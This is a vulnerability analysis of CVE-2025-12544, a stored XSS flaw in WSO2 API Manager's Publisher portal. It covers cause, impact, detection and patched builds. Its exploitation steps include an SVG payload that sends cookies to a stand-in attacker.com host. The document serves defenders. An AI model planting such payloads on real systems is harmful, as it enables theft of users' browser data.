CVE-2025-12544: 
WSO2 API Manager vulnerability analysis and mitigation

CVE-2025-12544 is a stored Cross-Site Scripting (XSS) vulnerability in the WSO2 API Manager Publisher portal, caused by insufficient validation of uploaded SVG files. Users with the Publisher role can upload crafted SVG files containing malicious scripts, which are then stored and rendered by the application. Affected products include WSO2 API Manager versions 3.2.0 through 4.2.0 (with specific patched build numbers), as well as the org.wso2.carbon.apimgt.rest.api.publisher.v1 component prior to version 9.28.140. It carries a CVSS v3.1 base score of 4.8 (Medium) (GitHub Advisory, EUVD).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. The Publisher portal does not sanitize or validate SVG file content upon upload; since SVG is an XML-based format that supports embedded JavaScript (e.g., via <script> tags or event handlers), a malicious actor with Publisher-role credentials can embed arbitrary scripts that execute in the browsers of other users who view the rendered SVG. Exploitation requires network access, high privileges (Publisher role), and user interaction (a victim must view the malicious content), with a changed scope indicating the injected script can affect resources beyond the vulnerable component (GitHub Advisory, EUVD).

Successful exploitation allows a Publisher-role attacker to redirect victims' browsers to arbitrary websites, modify the rendered web page's UI, or exfiltrate non-httpOnly browser information (e.g., local storage data, non-protected cookies, or page content). Session hijacking is partially mitigated because session-related cookies are protected with the httpOnly flag. The vulnerability has a changed scope, meaning the injected script can affect users and resources beyond the Publisher portal itself (GitHub Advisory, EUVD).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, and the NVD SSVC assessment indicates exploitation is currently "none" and the attack is not automatable. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated user with the Publisher role, limiting the attack surface (EUVD, GitHub Advisory).

1. Obtain Publisher Role Access: Acquire credentials for an account with the WSO2 API Manager Publisher role, either through legitimate access, credential theft, or social engineering.
2. Craft Malicious SVG: Create an SVG file containing embedded JavaScript, for example:

   <svg xmlns="http://www.w3.org/2000/svg">
     <script>document.location='https://attacker.com/?c='+document.cookie;</script>
   </svg>

3. Upload SVG via Publisher Portal: Log into the Publisher portal and upload the crafted SVG file (e.g., as an API thumbnail or documentation asset) where the application accepts SVG uploads without sanitization.
4. Trigger Victim Rendering: Entice or wait for another user (e.g., an administrator or API consumer) to navigate to the page where the SVG is rendered.
5. Script Executes in Victim's Browser: The stored malicious script executes in the victim's browser context, enabling browser redirection, UI manipulation, or exfiltration of accessible browser data to an attacker-controlled server (GitHub Advisory, EUVD).

• Network: Unexpected outbound HTTP requests from users' browsers to external or unknown domains shortly after viewing Publisher portal pages; unusual redirects originating from the WSO2 API Manager Publisher portal.
• File System: Presence of SVG files in the API Manager upload directories containing <script> tags, JavaScript event handlers (e.g., onload, onerror), or encoded payloads.
• Logs: WSO2 API Manager access logs showing SVG file uploads by Publisher-role accounts followed by access to those resources by other users; web server logs recording requests to attacker-controlled URLs originating from the application server's rendered pages.
• Application: Unexpected SVG assets associated with APIs in the Publisher portal that contain embedded script content upon inspection.

WSO2 has released patched versions addressing this vulnerability. Users should upgrade WSO2 API Manager to one of the following fixed builds: 3.2.0.449 or later (for 3.2.0.x), 3.2.1.68 or later (for 3.2.1.x), 4.0.0.368 or later (for 4.0.0.x), 4.1.0.60 or later (for 4.1.0.x), or 4.2.0.7 or later (for 4.2.0.x). The org.wso2.carbon.apimgt.rest.api.publisher.v1 component should be updated to version 9.28.140 or later. As interim mitigations, administrators should implement strict SVG file validation and sanitization in the Publisher portal, apply a Content Security Policy (CSP) to limit the impact of injected scripts, and restrict Publisher role assignment to trusted users only (GitHub Advisory, EUVD).

The vulnerability was noted on the Infosec Exchange Mastodon instance and tracked by several vulnerability intelligence platforms including VulDB, CVEFeed, and CIRCL. No significant researcher commentary, vendor blog posts, or major media coverage beyond the official WSO2 advisory and standard CVE aggregators has been identified at this time (EUVD).